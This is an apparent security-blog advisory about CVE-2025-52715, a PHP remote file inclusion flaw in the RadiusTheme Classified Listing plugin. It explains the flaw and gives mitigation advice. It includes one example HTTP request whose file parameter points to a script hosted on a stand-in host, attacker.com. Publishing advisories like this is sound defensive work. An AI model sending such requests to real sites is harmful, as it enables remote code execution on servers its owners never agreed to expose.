{"id":86514,"date":"2026-02-20T21:20:53","date_gmt":"2026-02-20T21:20:53","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-52715-php-remote-file-inclusion-vulnerability-in-radiustheme-classified-listing","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52715-php-remote-file-inclusion-vulnerability-in-radiustheme-classified-listing\/","title":{"rendered":"<strong>CVE-2025-52715: PHP Remote File Inclusion Vulnerability in RadiusTheme Classified Listing<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability, CVE-2025-52715, is a significant security breach that affects RadiusTheme Classified Listing users. This PHP Remote File Inclusion vulnerability allows attackers to include and execute arbitrary remote files via the PHP script, potentially leading to system compromise or data leakage. It is crucial to address this vulnerability promptly due to its potential for detrimental impacts on system integrity and confidentiality.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52715<br \/>\nSeverity: High (7.5 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-297045931\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>RadiusTheme Classified Listing | n\/a &#8211; 4.2.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote File Inclusion vulnerability occurs when an application uses user input to construct a filesystem path that is then included or required by the application. In this case, the inadequate controls within the Classified Listing application allow an attacker to manipulate the filename that is passed to the include\/require statement, thereby allowing the inclusion of a file from a remote server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-669774246\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The below conceptual example demonstrates how an attacker might exploit this vulnerability using a malicious URL:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker has injected a malicious script (`malicious_script.txt`) hosted on their server (`attacker.com`) into the `file` parameter of the URL. The server then processes the included malicious script, leading to a successful exploit.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch, a temporary solution involves using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block any suspicious activity. Furthermore, it is recommended to disable the inclusion of remote files in the PHP configuration if it&#8217;s not necessary for the application&#8217;s functionality.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability, CVE-2025-52715, is a significant security breach that affects RadiusTheme Classified Listing users. This PHP Remote File Inclusion vulnerability allows attackers to include and execute arbitrary remote files via the PHP script, potentially leading to system compromise or data leakage. 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